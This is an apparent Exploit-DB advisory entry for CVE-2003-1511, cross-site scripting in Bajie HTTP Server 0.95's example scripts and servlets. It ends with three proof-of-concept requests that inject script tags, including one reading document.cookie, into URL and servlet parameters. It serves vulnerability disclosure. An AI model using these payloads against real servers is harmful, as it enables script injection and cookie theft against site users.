Bajie HTTP Server 0.95 Example Scripts And Servlets Cross-Site Scripting Vulnerability

2003-10-16T00:00:00
ID EDB-ID:23257
Type exploitdb
Reporter Oliver Karow
Modified 2003-10-16T00:00:00

Description

Bajie HTTP Server 0.95 Example Scripts And Servlets Cross-Site Scripting Vulnerability. CVE-2003-1511. Remote exploits for multiple platform

                                        
                                            source: http://www.securityfocus.com/bid/8841/info

Demonstration scripts and servlets that are distributed as part of Bajie HTTP Server have been reported prone to multiple cross-site scripting vulnerabilities.

It has been reported that a remote attacker may construct a malicious link containing script and HTML code to any one of the vulnerable demonstration scripts or servlets on the affected server. If this link is followed the code contained therein will be rendered in the browser of the user who followed the link.

http://www.example.com/cgi/bin/test.txt?<script>alert(document.cookie)</script>
POST /servlet/custMsg?guestName=<script>alert("bang")</script> HTTP/1.0
POST /servlet/CookieExample?cookiename=<script>alert("bang")</script>&cookievalue=&cookiepath=
HTTP/1.0